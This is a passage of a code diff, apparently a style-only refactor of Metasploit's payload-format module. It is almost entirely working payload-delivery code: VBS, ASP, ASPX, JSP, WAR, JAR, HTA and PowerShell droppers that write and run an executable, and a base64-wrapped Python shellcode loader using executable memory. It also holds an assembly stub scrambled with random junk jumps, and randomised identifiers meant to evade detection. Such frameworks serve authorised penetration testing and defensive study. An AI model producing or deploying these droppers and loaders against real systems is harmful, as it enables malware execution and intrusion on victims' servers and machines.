hash_sub[:var_decodefunc] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_xml] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_xmldoc] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_decoded] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_adodbstream] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_decodebase64] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:init] = "" - - if persist - hash_sub[:init] << "Do\r\n" - hash_sub[:init] << "#{hash_sub[:var_func]}\r\n" - hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n" - hash_sub[:init] << "Loop\r\n" - else - hash_sub[:init] << "#{hash_sub[:var_func]}\r\n" - end + # self.to_exe_vba + # + # @param exes [String] + # @param opts [Hash] + # @option opts [String] :delay + # @option opts [String] :persists + # @option opts [String] :exe_filename + def self.to_exe_vbs(exes = '', opts = {}) + delay = opts[:delay] || 5 + persist = opts[:persist] || false + + hash_sub = {} + hash_sub[:exe_filename] = opts[:exe_filename] || Rex::Text.rand_text_alpha(rand(8..15)) << '.exe' + hash_sub[:base64_filename] = Rex::Text.rand_text_alpha(rand(8..15)) << '.b64' + hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:base64_shellcode] = Rex::Text.encode_base64(exes) + hash_sub[:var_decodefunc] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_xml] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_xmldoc] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_decoded] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_adodbstream] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_decodebase64] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:init] = '' + + if persist + hash_sub[:init] << "Do\r\n" + hash_sub[:init] << "#{hash_sub[:var_func]}\r\n" + hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n" + hash_sub[:init] << "Loop\r\n" + else + hash_sub[:init] << "#{hash_sub[:var_func]}\r\n" + end - read_replace_script_template("to_exe.vbs.template", hash_sub) - end + read_replace_script_template('to_exe.vbs.template', hash_sub) + end - # self.to_exe_asp - # - # @param exes [String] - # @param opts [Hash] Unused - def self.to_exe_asp(exes = '', opts = {}) - hash_sub = {} - hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small - hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes]) - read_replace_script_template("to_exe.asp.template", hash_sub) - end + # self.to_exe_asp + # + # @param exes [String] + # @param opts [Hash] Unused + def self.to_exe_asp(exes = '', opts = {}) + hash_sub = {} + hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4..7)) # repeated a large number of times, so keep this one small + hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes]) + read_replace_script_template('to_exe.asp.template', hash_sub) + end - # self.to_exe_aspx - # - # @param exes [String] - # @option opts [Hash] - def self.to_exe_aspx(exes = '', opts = {}) - hash_sub = {} - hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file]) - read_replace_script_template("to_exe.aspx.template", hash_sub) - end + # self.to_exe_aspx + # + # @param exes [String] + # @option opts [Hash] + def self.to_exe_aspx(exes = '', opts = {}) + hash_sub = {} + hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:shellcode] = Rex::Text.to_csharp(exes, 100, hash_sub[:var_file]) + read_replace_script_template('to_exe.aspx.template', hash_sub) + end - def self.to_mem_aspx(framework, code, exeopts = {}) - # Initialize rig and value names - rig = Rex::RandomIdentifier::Generator.new() - rig.init_var(:var_funcAddr) - rig.init_var(:var_hThread) - rig.init_var(:var_pInfo) - rig.init_var(:var_threadId) - rig.init_var(:var_bytearray) + def self.to_mem_aspx(framework, code, exeopts = {}) + # Initialize rig and value names + rig = Rex::RandomIdentifier::Generator.new + rig.init_var(:var_funcAddr) + rig.init_var(:var_hThread) + rig.init_var(:var_pInfo) + rig.init_var(:var_threadId) + rig.init_var(:var_bytearray) - hash_sub = rig.to_h - hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray]) + hash_sub = rig.to_h + hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray]) - read_replace_script_template("to_mem.aspx.template", hash_sub) - end + read_replace_script_template('to_mem.aspx.template', hash_sub) + end - def self.to_win32pe_psh_net(framework, code, opts={}) - Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code) - end + def self.to_win32pe_psh_net(framework, code, opts = {}) + Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code) + end - def self.to_win32pe_psh(framework, code, opts = {}) - Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code) - end + def self.to_win32pe_psh(framework, code, opts = {}) + Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code) + end - # - # Reflection technique prevents the temporary .cs file being created for the .NET compiler - # Tweaked by shellster - # Originally from PowerSploit - # - def self.to_win32pe_psh_reflection(framework, code, opts = {}) - Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code) - end + # + # Reflection technique prevents the temporary .cs file being created for the .NET compiler + # Tweaked by shellster + # Originally from PowerSploit + # + def self.to_win32pe_psh_reflection(framework, code, opts = {}) + Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code) + end - def self.to_powershell_command(framework, arch, code) - template_path = Rex::Powershell::Templates::TEMPLATE_DIR - Rex::Powershell::Command.cmd_psh_payload(code, - arch, - template_path, - encode_final_payload: true, - method: 'reflection') - end + def self.to_powershell_command(framework, arch, code) + template_path = Rex::Powershell::Templates::TEMPLATE_DIR + Rex::Powershell::Command.cmd_psh_payload(code, + arch, + template_path, + encode_final_payload: true, + method: 'reflection') + end - def self.to_powershell_ducky_script(framework, arch, code) - template_path = Rex::Powershell::Templates::TEMPLATE_DIR - powershell = Rex::Powershell::Command.cmd_psh_payload(code, - arch, - template_path, - encode_final_payload: true, - method: 'reflection') - replacers = {} - replacers[:var_payload] = powershell - read_replace_script_template("to_powershell.ducky_script.template", replacers) - end + def self.to_powershell_ducky_script(framework, arch, code) + template_path = Rex::Powershell::Templates::TEMPLATE_DIR + powershell = Rex::Powershell::Command.cmd_psh_payload(code, + arch, + template_path, + encode_final_payload: true, + method: 'reflection') + replacers = {} + replacers[:var_payload] = powershell + read_replace_script_template('to_powershell.ducky_script.template', replacers) + end - def self.to_powershell_hta(framework, arch, code) - template_path = Rex::Powershell::Templates::TEMPLATE_DIR + def self.to_powershell_hta(framework, arch, code) + template_path = Rex::Powershell::Templates::TEMPLATE_DIR - powershell = Rex::Powershell::Command.cmd_psh_payload(code, - arch, - template_path, - encode_final_payload: true, - remove_comspec: true, - method: 'reflection') + powershell = Rex::Powershell::Command.cmd_psh_payload(code, + arch, + template_path, + encode_final_payload: true, + remove_comspec: true, + method: 'reflection') - # Initialize rig and value names - rig = Rex::RandomIdentifier::Generator.new() - rig.init_var(:var_shell) - rig.init_var(:var_fso) + # Initialize rig and value names + rig = Rex::RandomIdentifier::Generator.new + rig.init_var(:var_shell) + rig.init_var(:var_fso) - hash_sub = rig.to_h - hash_sub[:powershell] = powershell + hash_sub = rig.to_h + hash_sub[:powershell] = powershell - read_replace_script_template("to_powershell.hta.template", hash_sub) - end + read_replace_script_template('to_powershell.hta.template', hash_sub) + end - def self.to_python_reflection(framework, arch, code, exeopts) - unless [ ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_PPC ].include? arch - raise RuntimeError, "Msf::Util::EXE.to_python_reflection is not compatible with #{arch}" - end - python_code = <<~PYTHON - #{Rex::Text.to_python(code)} - import ctypes,os - if os.name == 'nt': - cbuf = (ctypes.c_char * len(buf)).from_buffer_copy(buf) - ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p - ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_long(0),ctypes.c_long(len(buf)),ctypes.c_int(0x3000),ctypes.c_int(0x40)) - ctypes.windll.kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p,ctypes.c_void_p,ctypes.c_int] - ctypes.windll.kernel32.RtlMoveMemory(ptr,cbuf,ctypes.c_int(len(buf))) - ctypes.CFUNCTYPE(ctypes.c_int)(ptr)() - else: - import mmap - from ctypes.util import find_library - c = ctypes.CDLL(find_library('c')) - c.mmap.restype = ctypes.c_void_p - ptr = c.mmap(0,len(buf),mmap.PROT_READ|mmap.PROT_WRITE,mmap.MAP_ANONYMOUS|mmap.MAP_PRIVATE,-1,0) - ctypes.memmove(ptr,buf,len(buf)) - c.mprotect.argtypes = [ctypes.c_void_p,ctypes.c_int,ctypes.c_int] - c.mprotect(ptr,len(buf),mmap.PROT_READ|mmap.PROT_EXEC) - ctypes.CFUNCTYPE(ctypes.c_int)(ptr)() - PYTHON - - "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(python_code)}')[0]))" - end + def self.to_python_reflection(framework, arch, code, exeopts) + unless [ ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_PPC ].include? arch + raise "Msf::Util::EXE.to_python_reflection is not compatible with #{arch}" + end - def self.to_win32pe_psh_msil(framework, code, opts = {}) - Rex::Powershell::Payload.to_win32pe_psh_msil(Rex::Powershell::Templates::TEMPLATE_DIR, code) - end + python_code = <<~PYTHON + #{Rex::Text.to_python(code)} + import ctypes,os + if os.name == 'nt': + cbuf = (ctypes.c_char * len(buf)).from_buffer_copy(buf) + ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p + ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_long(0),ctypes.c_long(len(buf)),ctypes.c_int(0x3000),ctypes.c_int(0x40)) + ctypes.windll.kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p,ctypes.c_void_p,ctypes.c_int] + ctypes.windll.kernel32.RtlMoveMemory(ptr,cbuf,ctypes.c_int(len(buf))) + ctypes.CFUNCTYPE(ctypes.c_int)(ptr)() + else: + import mmap + from ctypes.util import find_library + c = ctypes.CDLL(find_library('c')) + c.mmap.restype = ctypes.c_void_p + ptr = c.mmap(0,len(buf),mmap.PROT_READ|mmap.PROT_WRITE,mmap.MAP_ANONYMOUS|mmap.MAP_PRIVATE,-1,0) + ctypes.memmove(ptr,buf,len(buf)) + c.mprotect.argtypes = [ctypes.c_void_p,ctypes.c_int,ctypes.c_int] + c.mprotect(ptr,len(buf),mmap.PROT_READ|mmap.PROT_EXEC) + ctypes.CFUNCTYPE(ctypes.c_int)(ptr)() + PYTHON + + "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(python_code)}')[0]))" + end - def self.to_win32pe_psh_rc4(framework, code, opts = {}) - # unlike other to_win32pe_psh_* methods, this expects powershell code, not asm - # this method should be called after other to_win32pe_psh_* methods to wrap the output - Rex::Powershell::Payload.to_win32pe_psh_rc4(Rex::Powershell::Templates::TEMPLATE_DIR, code) - end + def self.to_win32pe_psh_msil(framework, code, opts = {}) + Rex::Powershell::Payload.to_win32pe_psh_msil(Rex::Powershell::Templates::TEMPLATE_DIR, code) + end - def self.to_jsp(exe) - hash_sub = {} - hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_payloadlength] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8)+8) - - payload_hex = exe.unpack('H*')[0] - hash_sub[:payload] = payload_hex - - read_replace_script_template("to_exe.jsp.template", hash_sub) - end + def self.to_win32pe_psh_rc4(framework, code, opts = {}) + # unlike other to_win32pe_psh_* methods, this expects powershell code, not asm + # this method should be called after other to_win32pe_psh_* methods to wrap the output + Rex::Powershell::Payload.to_win32pe_psh_rc4(Rex::Powershell::Templates::TEMPLATE_DIR, code) + end - # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a - # payload. The jsp page converts the hexdump back to a normal binary file - # and places it in the temp directory. The payload file is then executed. - # - # @see to_war - # @param exe [String] Executable to drop and run. - # @param opts (see to_war) - # @option opts (see to_war) - # @return (see to_war) - def self.to_jsp_war(exe, opts = {}) - template = self.to_jsp(exe) - self.to_war(template, opts) - end + def self.to_jsp(exe) + hash_sub = {} + hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_payloadlength] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8..15)) + hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8..15)) + + payload_hex = exe.unpack('H*')[0] + hash_sub[:payload] = payload_hex + + read_replace_script_template('to_exe.jsp.template', hash_sub) + end - def self.to_win32pe_vbs(framework, code, opts = {}) - to_exe_vbs(to_win32pe(framework, code, opts), opts) - end + # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a + # payload. The jsp page converts the hexdump back to a normal binary file + # and places it in the temp directory. The payload file is then executed. + # + # @see to_war + # @param exe [String] Executable to drop and run. + # @param opts (see to_war) + # @option opts (see to_war) + # @return (see to_war) + def self.to_jsp_war(exe, opts = {}) + template = to_jsp(exe) + to_war(template, opts) + end - def self.to_win64pe_vbs(framework, code, opts = {}) - to_exe_vbs(to_win64pe(framework, code, opts), opts) - end + def self.to_win32pe_vbs(framework, code, opts = {}) + to_exe_vbs(to_win32pe(framework, code, opts), opts) + end - # Creates a jar file that drops the provided +exe+ into a random file name - # in the system's temp dir and executes it. - # - # @see Msf::Payload::Java - # - # @return [Rex::Zip::Jar] - def self.to_jar(exe, opts = {}) - spawn = opts[:spawn] || 2 - exe_name = Rex::Text.rand_text_alpha(8) + ".exe" - zip = Rex::Zip::Jar.new - zip.add_sub("metasploit") if opts[:random] - paths = [ - [ "metasploit", "Payload.class" ], - ] - - zip.add_file('metasploit/', '') - paths.each do |path_parts| - path = ['java', path_parts].flatten.join('/') - contents = ::MetasploitPayloads.read(path) - zip.add_file(path_parts.join('/'), contents) - end + def self.to_win64pe_vbs(framework, code, opts = {}) + to_exe_vbs(to_win64pe(framework, code, opts), opts) + end + + # Creates a jar file that drops the provided +exe+ into a random file name + # in the system's temp dir and executes it. + # + # @see Msf::Payload::Java + # + # @return [Rex::Zip::Jar] + def self.to_jar(exe, opts = {}) + spawn = opts[:spawn] || 2 + exe_name = Rex::Text.rand_text_alpha(8) + '.exe' + zip = Rex::Zip::Jar.new + zip.add_sub('metasploit') if opts[:random] + paths = [ + [ 'metasploit', 'Payload.class' ], + ] + + zip.add_file('metasploit/', '') + paths.each do |path_parts| + path = ['java', path_parts].flatten.join('/') + contents = ::MetasploitPayloads.read(path) + zip.add_file(path_parts.join('/'), contents) + end - zip.build_manifest :main_class => "metasploit.Payload" - config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n" - zip.add_file("metasploit.dat", config) - zip.add_file(exe_name, exe) + zip.build_manifest main_class: 'metasploit.Payload' + config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n" + zip.add_file('metasploit.dat', config) + zip.add_file(exe_name, exe) - zip - end + zip + end - # Creates a Web Archive (WAR) file from the provided jsp code. - # - # On Tomcat, WAR files will be deployed into a directory with the same name - # as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the - # server is in a default configuration, deoployment will happen - # automatically. See - # {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat - # documentation} for a description of how this works. - # - # @param jsp_raw [String] JSP code to be added in a file called +jsp_name+ - # in the archive. This will be compiled by the victim servlet container - # (e.g., Tomcat) and act as the main function for the servlet. - # @param opts [Hash] - # @option opts :jsp_name [String] Name of the in the archive - # _without the .jsp extension_. Defaults to random. - # @option opts :app_name [String] Name of the app to put in the - # tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to - # random. - # @option opts :extra_files [Array] Additional files to add - # to the archive. First element is filename, second is data - # - # @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar} - # - # @return [String] - def self.to_war(jsp_raw, opts = {}) - jsp_name = opts[:jsp_name] - jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8) - app_name = opts[:app_name] - app_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8) - - meta_inf = [ 0xcafe, 0x0003 ].pack('Vv') - manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n" - web_xml = %q{ + # Creates a Web Archive (WAR) file from the provided jsp code. + # + # On Tomcat, WAR files will be deployed into a directory with the same name + # as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the + # server is in a default configuration, deoployment will happen + # automatically. See + # {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat + # documentation} for a description of how this works. + # + # @param jsp_raw [String] JSP code to be added in a file called +jsp_name+ + # in the archive. This will be compiled by the victim servlet container + # (e.g., Tomcat) and act as the main function for the servlet. + # @param opts [Hash] + # @option opts :jsp_name [String] Name of the in the archive + # _without the .jsp extension_. Defaults to random. + # @option opts :app_name [String] Name of the app to put in the + # tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to + # random. + # @option opts :extra_files [Array] Additional files to add + # to the archive. First element is filename, second is data + # + # @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar} + # + # @return [String] + def self.to_war(jsp_raw, opts = {}) + jsp_name = opts[:jsp_name] + jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8..15)) + app_name = opts[:app_name] + app_name ||= Rex::Text.rand_text_alpha_lower(rand(8..15)) + + meta_inf = [ 0xcafe, 0x0003 ].pack('Vv') + manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n" + web_xml = %q{ @@ -1762,119 +1718,116 @@ def self.to_war(jsp_raw, opts = {}) } - web_xml.gsub!('NAME', app_name) - web_xml.gsub!('PAYLOAD', jsp_name) - - zip = Rex::Zip::Archive.new - zip.add_file('META-INF/', '', meta_inf) - zip.add_file('META-INF/MANIFEST.MF', manifest) - zip.add_file('WEB-INF/', '') - zip.add_file('WEB-INF/web.xml', web_xml) - # add the payload - zip.add_file("#{jsp_name}.jsp", jsp_raw) - - # add extra files - if opts[:extra_files] - opts[:extra_files].each {|el| zip.add_file(el[0], el[1])} - end - - zip.pack - end - - # Creates a .NET DLL which loads data into memory - # at a specified location with read/execute permissions - # - the data will be loaded at: base+0x2065 - # - default max size is 0x8000 (32768) - # @param base [Integer] Default location set to base 0x12340000 - # @param data [String] - # @param opts [Hash] - # @option [String] :template - # @option [String] :base_offset - # @option [String] :timestamp_offset - # @option [String] :text_offset - # @option [String] :pack - # @option [String] :uuid_offset - # @return [String] - def self.to_dotnetmem(base=0x12340000, data="", opts = {}) - - # Allow the user to specify their own DLL template - set_template_default(opts, "dotnetmem.dll") - - pe = self.get_file_contents(opts[:template]) - - # Configure the image base - base_offset = opts[:base_offset] || 180 - pe[base_offset, 4] = [base].pack('V') - - # Configure the TimeDateStamp - timestamp_offset = opts[:timestamp_offset] || 136 - pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V') - - # XXX: Unfortunately we cant make this RWX only RX - # Mark this segment as read-execute AND writable - # pe[412,4] = [0xe0000020].pack("V") - - # Write the data into the .text segment - text_offset = opts[:text_offset] || 0x1065 - text_max = opts[:text_max] || 0x8000 - pack = opts[:pack] || 'a32768' - pe[text_offset, text_max] = [data].pack(pack) + web_xml.gsub!('NAME', app_name) + web_xml.gsub!('PAYLOAD', jsp_name) + + zip = Rex::Zip::Archive.new + zip.add_file('META-INF/', '', meta_inf) + zip.add_file('META-INF/MANIFEST.MF', manifest) + zip.add_file('WEB-INF/', '') + zip.add_file('WEB-INF/web.xml', web_xml) + # add the payload + zip.add_file("#{jsp_name}.jsp", jsp_raw) + + # add extra files + if opts[:extra_files] + opts[:extra_files].each { |el| zip.add_file(el[0], el[1]) } + end - # Generic a randomized UUID - uuid_offset = opts[:uuid_offset] || 37656 - pe[uuid_offset,16] = Rex::Text.rand_text(16) + zip.pack + end - pe - end + # Creates a .NET DLL which loads data into memory + # at a specified location with read/execute permissions + # - the data will be loaded at: base+0x2065 + # - default max size is 0x8000 (32768) + # @param base [Integer] Default location set to base 0x12340000 + # @param data [String] + # @param opts [Hash] + # @option [String] :template + # @option [String] :base_offset + # @option [String] :timestamp_offset + # @option [String] :text_offset + # @option [String] :pack + # @option [String] :uuid_offset + # @return [String] + def self.to_dotnetmem(base = 0x12340000, data = '', opts = {}) + # Allow the user to specify their own DLL template + set_template_default(opts, 'dotnetmem.dll') + + pe = get_file_contents(opts[:template]) + + # Configure the image base + base_offset = opts[:base_offset] || 180 + pe[base_offset, 4] = [base].pack('V') + + # Configure the TimeDateStamp + timestamp_offset = opts[:timestamp_offset] || 136 + pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V') + + # XXX: Unfortunately we cant make this RWX only RX + # Mark this segment as read-execute AND writable + # pe[412,4] = [0xe0000020].pack("V") + + # Write the data into the .text segment + text_offset = opts[:text_offset] || 0x1065 + text_max = opts[:text_max] || 0x8000 + pack = opts[:pack] || 'a32768' + pe[text_offset, text_max] = [data].pack(pack) + + # Generic a randomized UUID + uuid_offset = opts[:uuid_offset] || 37656 + pe[uuid_offset, 16] = Rex::Text.rand_text(16) + + pe + end - # self.encode_stub - # - # @param framework [Msf::Framework] - # @param arch [String] - # @param code [String] - # @param platform [String] - # @param badchars [String] - def self.encode_stub(framework, arch, code, platform = nil, badchars = '') - return code unless framework.encoders - framework.encoders.each_module_ranked('Arch' => arch) do |name, mod| - begin - enc = framework.encoders.create(name) - raw = enc.encode(code, badchars, nil, platform) - return raw if raw - rescue + # self.encode_stub + # + # @param framework [Msf::Framework] + # @param arch [String] + # @param code [String] + # @param platform [String] + # @param badchars [String] + def self.encode_stub(framework, arch, code, platform = nil, badchars = '') + return code unless framework.encoders + + framework.encoders.each_module_ranked('Arch' => arch) do |name, _mod| + enc = framework.encoders.create(name) + raw = enc.encode(code, badchars, nil, platform) + return raw if raw + rescue StandardError + end + nil end - end - nil - end - def self.generate_nops(framework, arch, len, opts = {}) - opts['BadChars'] ||= '' - opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ] + def self.generate_nops(framework, arch, len, opts = {}) + opts['BadChars'] ||= '' + opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ] - return nil unless framework.nops - framework.nops.each_module_ranked('Arch' => arch) do |name, mod| - begin - nop = framework.nops.create(name) - raw = nop.generate_sled(len, opts) - return raw if raw - rescue - # @TODO: stop rescuing everying on each of these, be selective - end - end - nil - end + return nil unless framework.nops - # This wrapper is responsible for allocating RWX memory, copying the - # target code there, setting an exception handler that calls ExitProcess - # and finally executing the code. - def self.win32_rwx_exec(code) - stub_block = Rex::Payloads::Shuffle.from_graphml_file( - File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'), - arch: ARCH_X86, - name: 'api_call' - ) + framework.nops.each_module_ranked('Arch' => arch) do |name, _mod| + nop = framework.nops.create(name) + raw = nop.generate_sled(len, opts) + return raw if raw + rescue StandardError + # @TODO: stop rescuing everying on each of these, be selective + end + nil + end - stub_exit = %Q^ + # This wrapper is responsible for allocating RWX memory, copying the + # target code there, setting an exception handler that calls ExitProcess + # and finally executing the code. + def self.win32_rwx_exec(code) + stub_block = Rex::Payloads::Shuffle.from_graphml_file( + File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'), + arch: ARCH_X86, + name: 'api_call' + ) + + stub_exit = %^ ; Input: EBP must be the address of 'api_call'. ; Output: None. ; Clobbers: EAX, EBX, (ESP will also be modified) @@ -1896,7 +1849,7 @@ def self.win32_rwx_exec(code) call ebp ; call EXITFUNK( 0 ); ^ - stub_alloc = %Q^ + stub_alloc = %^ cld ; Clear the direction flag. call start ; Call start, this pushes the address of 'api_call' onto the stack. delta: ; @@ -1934,57 +1887,57 @@ def self.win32_rwx_exec(code) jmp exitblock ^ - stub_final = %Q^ + stub_final = %( get_payload: call got_payload payload: ; Append an arbitrary payload here - ^ - - stub_alloc.gsub!('short', '') - stub_alloc.gsub!('byte', '') - - wrapper = "" - # regs = %W{eax ebx ecx edx esi edi ebp} - - cnt_jmp = 0 - stub_alloc.each_line do |line| - line.gsub!(/;.*/, '') - line.strip! - next if line.empty? - - wrapper << "nop\n" if rand(2) == 0 + ) - if rand(2) == 0 - wrapper << "jmp autojump#{cnt_jmp}\n" - 1.upto(rand(8)+8) do - wrapper << "db 0x#{"%.2x" % rand(0x100)}\n" + stub_alloc.gsub!('short', '') + stub_alloc.gsub!('byte', '') + + wrapper = '' + # regs = %W{eax ebx ecx edx esi edi ebp} + + cnt_jmp = 0 + stub_alloc.each_line do |line| + line.gsub!(/;.*/, '') + line.strip! + next if line.empty? + + wrapper << "nop\n" if rand(2) == 0 + + if rand(2) == 0 + wrapper << "jmp autojump#{cnt_jmp}\n" + 1.upto(rand(8..15)) do + wrapper << "db 0x#{'%.2x' % rand(0x100)}\n" + end + wrapper << "autojump#{cnt_jmp}:\n" + cnt_jmp += 1 + end + wrapper << line + "\n" end - wrapper << "autojump#{cnt_jmp}:\n" - cnt_jmp += 1 - end - wrapper << line + "\n" 